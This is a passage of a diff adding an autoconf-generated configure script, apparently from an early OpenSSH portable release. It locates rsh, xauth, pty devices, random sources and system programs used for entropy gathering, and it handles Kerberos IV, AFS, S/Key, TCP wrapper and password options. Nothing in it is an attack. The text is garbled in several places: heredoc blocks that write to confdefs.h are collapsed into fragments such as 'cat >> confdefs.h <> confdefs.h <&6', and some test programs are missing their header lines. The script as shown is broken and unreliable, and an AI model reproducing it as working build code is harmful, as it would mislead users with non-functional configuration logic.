$ac_c" 1>&6 +echo "configure:4507: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_rsh_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$rsh_path" in + /*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_rsh_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +rsh_path="$ac_cv_path_rsh_path" +if test -n "$rsh_path"; then + echo "$ac_t""$rsh_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + + +fi + + +# Check whether --with-xauth or --without-xauth was given. +if test "${with_xauth+set}" = set; then + withval="$with_xauth" + + if test "x$withval" != "$xno" ; then + xauth_path=$withval + fi + +else + + # Extract the first word of "xauth", so it can be a program name with args. +set dummy xauth; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4557: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_xauth_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$xauth_path" in + /*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_xauth_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +xauth_path="$ac_cv_path_xauth_path" +if test -n "$xauth_path"; then + echo "$ac_t""$xauth_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + + +fi + + +if test ! -z "$xauth_path" ; then + cat >> confdefs.h <> confdefs.h <> confdefs.h <&6 +echo "configure:4623: checking for "/dev/ptmx"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptmx"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + +fi + +ac_safe=`echo ""/dev/ptc"" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for "/dev/ptc"""... $ac_c" 1>&6 +echo "configure:4656: checking for "/dev/ptc"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptc"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +# Check whether --with-random or --without-random was given. +if test "${with_random+set}" = set; then + withval="$with_random" + + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + cat >> confdefs.h <&6 +echo "configure:4707: checking for "/dev/urandom"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/urandom"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + RANDOM_POOL="/dev/urandom"; + + cat >> confdefs.h <&6 + +fi + + + +fi + + +# Check for EGD pool file +# Check whether --with-egd-pool or --without-egd-pool was given. +if test "${with_egd_pool+set}" = set; then + withval="$with_egd_pool" + + if test "x$withval" != "xno" ; then + EGD_SOCKET="$withval"; + cat >> confdefs.h <&6 +echo "configure:4768: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LS" in + /*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LS="$ac_cv_path_PROG_LS" +if test -n "$PROG_LS"; then + echo "$ac_t""$PROG_LS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LS" ; then + PROG_LS="undef" + fi + + + + # Extract the first word of "netstat", so it can be a program name with args. +set dummy netstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4809: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_NETSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_NETSTAT" in + /*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_NETSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_NETSTAT="$ac_cv_path_PROG_NETSTAT" +if test -n "$PROG_NETSTAT"; then + echo "$ac_t""$PROG_NETSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_NETSTAT" ; then + PROG_NETSTAT="undef" + fi + + + + # Extract the first word of "arp", so it can be a program name with args. +set dummy arp; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4850: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_ARP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_ARP" in + /*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_ARP="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_ARP="$ac_cv_path_PROG_ARP" +if test -n "$PROG_ARP"; then + echo "$ac_t""$PROG_ARP" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_ARP" ; then + PROG_ARP="undef" + fi + + + + # Extract the first word of "ifconfig", so it can be a program name with args. +set dummy ifconfig; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4891: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IFCONFIG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IFCONFIG" in + /*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IFCONFIG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IFCONFIG="$ac_cv_path_PROG_IFCONFIG" +if test -n "$PROG_IFCONFIG"; then + echo "$ac_t""$PROG_IFCONFIG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IFCONFIG" ; then + PROG_IFCONFIG="undef" + fi + + + + # Extract the first word of "ps", so it can be a program name with args. +set dummy ps; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4932: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_PS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_PS" in + /*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_PS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_PS="$ac_cv_path_PROG_PS" +if test -n "$PROG_PS"; then + echo "$ac_t""$PROG_PS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_PS" ; then + PROG_PS="undef" + fi + + + + # Extract the first word of "w", so it can be a program name with args. +set dummy w; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4973: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_W'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_W" in + /*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_W="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_W="$ac_cv_path_PROG_W" +if test -n "$PROG_W"; then + echo "$ac_t""$PROG_W" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_W" ; then + PROG_W="undef" + fi + + + + # Extract the first word of "who", so it can be a program name with args. +set dummy who; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5014: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_WHO'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_WHO" in + /*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_WHO="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_WHO="$ac_cv_path_PROG_WHO" +if test -n "$PROG_WHO"; then + echo "$ac_t""$PROG_WHO" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_WHO" ; then + PROG_WHO="undef" + fi + + + + # Extract the first word of "last", so it can be a program name with args. +set dummy last; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5055: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LAST'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LAST" in + /*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LAST="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LAST="$ac_cv_path_PROG_LAST" +if test -n "$PROG_LAST"; then + echo "$ac_t""$PROG_LAST" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LAST" ; then + PROG_LAST="undef" + fi + + + + # Extract the first word of "lastlog", so it can be a program name with args. +set dummy lastlog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5096: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LASTLOG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LASTLOG" in + /*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LASTLOG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LASTLOG="$ac_cv_path_PROG_LASTLOG" +if test -n "$PROG_LASTLOG"; then + echo "$ac_t""$PROG_LASTLOG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LASTLOG" ; then + PROG_LASTLOG="undef" + fi + + + + # Extract the first word of "df", so it can be a program name with args. +set dummy df; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5137: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_DF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_DF" in + /*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_DF="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_DF="$ac_cv_path_PROG_DF" +if test -n "$PROG_DF"; then + echo "$ac_t""$PROG_DF" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_DF" ; then + PROG_DF="undef" + fi + + + + # Extract the first word of "vmstat", so it can be a program name with args. +set dummy vmstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5178: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_VMSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_VMSTAT" in + /*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_VMSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_VMSTAT="$ac_cv_path_PROG_VMSTAT" +if test -n "$PROG_VMSTAT"; then + echo "$ac_t""$PROG_VMSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_VMSTAT" ; then + PROG_VMSTAT="undef" + fi + + + + # Extract the first word of "uptime", so it can be a program name with args. +set dummy uptime; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5219: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_UPTIME'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_UPTIME" in + /*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_UPTIME="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_UPTIME="$ac_cv_path_PROG_UPTIME" +if test -n "$PROG_UPTIME"; then + echo "$ac_t""$PROG_UPTIME" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_UPTIME" ; then + PROG_UPTIME="undef" + fi + + + + # Extract the first word of "ipcs", so it can be a program name with args. +set dummy ipcs; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5260: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IPCS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IPCS" in + /*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IPCS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IPCS="$ac_cv_path_PROG_IPCS" +if test -n "$PROG_IPCS"; then + echo "$ac_t""$PROG_IPCS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IPCS" ; then + PROG_IPCS="undef" + fi + + + + # Extract the first word of "tail", so it can be a program name with args. +set dummy tail; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5301: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_TAIL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_TAIL" in + /*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_TAIL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_TAIL="$ac_cv_path_PROG_TAIL" +if test -n "$PROG_TAIL"; then + echo "$ac_t""$PROG_TAIL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_TAIL" ; then + PROG_TAIL="undef" + fi + + + + # Extract the first word of "ls", so it can be a program name with args. +set dummy ls; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5342: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LS" in + /*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LS="$ac_cv_path_PROG_LS" +if test -n "$PROG_LS"; then + echo "$ac_t""$PROG_LS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LS" ; then + PROG_LS="undef" + fi + + + + INSTALL_SSH_PRNG_CMDS="yes" +fi + + + +# Check whether --with-catman or --without-catman was given. +if test "${with_catman+set}" = set; then + withval="$with_catman" + + MANTYPE='$(CATMAN)' + if test x"$withval" != x"yes" ; then + mansubdir=$withval + else + mansubdir=cat + fi + +else + + if test -z "$MANTYPE" ; then + MANTYPE='$(TROFFMAN)' + mansubdir=man + fi + + +fi + + + + +# Check whether user wants Kerberos support +KRB4_MSG="no" +# Check whether --with-kerberos4 or --without-kerberos4 was given. +if test "${with_kerberos4+set}" = set; then + withval="$with_kerberos4" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CFLAGS="$CFLAGS -I/usr/include/kerberosIV" + fi + fi + + for ac_hdr in krb.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:5436: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:5446: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + echo $ac_n "checking for main in -lkrb""... $ac_c" 1>&6 +echo "configure:5473: checking for main in -lkrb" >&5 +ac_lib_var=`echo krb'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lkrb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo krb | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_header_krb_h" != yes; then + echo "configure: warning: Cannot find krb.h, build may fail" 1>&2 + fi + if test "$ac_cv_lib_krb_main" != yes; then + echo "configure: warning: Cannot find libkrb, build may fail" 1>&2 + fi + + KLIBS="-lkrb -ldes" + echo $ac_n "checking for dn_expand in -lresolv""... $ac_c" 1>&6 +echo "configure:5524: checking for dn_expand in -lresolv" >&5 +ac_lib_var=`echo resolv'_'dn_expand | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lresolv $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo resolv | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + KRB4=yes + KRB4_MSG="yes" + cat >> confdefs.h <<\EOF +#define KRB4 1 +EOF + + fi + + +fi + + +# Check whether user wants AFS support +AFS_MSG="no" +# Check whether --with-afs or --without-afs was given. +if test "${with_afs+set}" = set; then + withval="$with_afs" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LFLAGS="$LFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + echo "configure: warning: AFS requires Kerberos IV support, build may fail" 1>&2 + fi + + LIBS="$LIBS -lkafs" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + cat >> confdefs.h <<\EOF +#define AFS 1 +EOF + + AFS_MSG="yes" + fi + + +fi + +LIBS="$LIBS $KLIBS" + +# Check whether user wants S/Key support +SKEY_MSG="no" +# Check whether --with-skey or --without-skey was given. +if test "${with_skey+set}" = set; then + withval="$with_skey" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define SKEY 1 +EOF + + LIBS="$LIBS -lskey" + SKEY_MSG="yes" + fi + + +fi + + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +# Check whether --with-tcp-wrappers or --without-tcp-wrappers was given. +if test "${with_tcp_wrappers+set}" = set; then + withval="$with_tcp_wrappers" + + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="$LIBS -lwrap" + echo $ac_n "checking for libwrap""... $ac_c" 1>&6 +echo "configure:5644: checking for libwrap" >&5 + cat > conftest.$ac_ext < + int deny_severity = 0, allow_severity = 0; + +int main() { +hosts_access(0); +; return 0; } +EOF +if { (eval echo configure:5656: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define LIBWRAP 1 +EOF + + TCPW_MSG="yes" + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + { echo "configure: error: *** libwrap missing" 1>&2; exit 1; } + + +fi +rm -f conftest* + fi + + +fi + + +# Check whether to enable MD5 passwords +MD5_MSG="no" +# Check whether --with-md5-passwords or --without-md5-passwords was given. +if test "${with_md5_passwords+set}" = set; then + withval="$with_md5_passwords" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MD5_PASSWORDS 1 +EOF + + MD5_MSG="yes" + fi + + +fi + + +# Whether to disable shadow password support +# Check whether --with-shadow or --without-shadow was given. +if test "${with_shadow+set}" = set; then + withval="$with_shadow" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + disable_shadow=yes + fi + + +fi + + +if test -z "$disable_shadow" ; then + echo $ac_n "checking if the systems has expire shadow information""... $ac_c" 1>&6 +echo "configure:5719: checking if the 